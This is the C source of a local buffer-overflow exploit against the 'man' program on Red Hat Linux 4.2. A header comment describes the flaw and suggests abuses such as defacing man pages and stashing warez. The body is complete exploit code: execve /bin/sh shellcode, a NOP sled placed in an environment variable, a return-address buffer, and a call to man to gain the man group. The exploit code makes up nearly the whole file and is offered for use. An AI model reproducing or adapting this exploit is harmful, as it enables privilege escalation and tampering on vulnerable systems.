Buffer overflow exploit in Red Hat 4.2 'man'.
146fb4d6f24c2f7842f63534ea4861b24c6e8b91f0a968e847a4632445780069
/*COMMAND
*
* man
*
*SYSTEMS AFFECTED
*
* Redhat Linux 4.2 (others?)
*
*PROBLEM
*
* Local unprivledged users can overflow a buffer in
* /usr/bin/man and receive egid man. Malicious users
* could then change the content of man pages or replace
* with ascii porn, ansi bombs, the +++ath dos, or even
* use the catman directory to stash warez. Dos attacks
* such as linking man pages to /dev/random, urandom, or
* zero.
*
* Discovered and exploited by /\/ecr0mancer of [S.T.S.I]
* Code ripped from Smashing the Stack...Thanks to Aleph1
*
* Worked with offsets between 400-800 on my 4.2 (2.0.30) system.
*/
#include <stdlib.h>
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=600, bsize=4500;
int i, eggsize=2048;
if (argc > 1) offset = atoi(argv[1]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = 0x90;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/usr/bin/man $RET");
}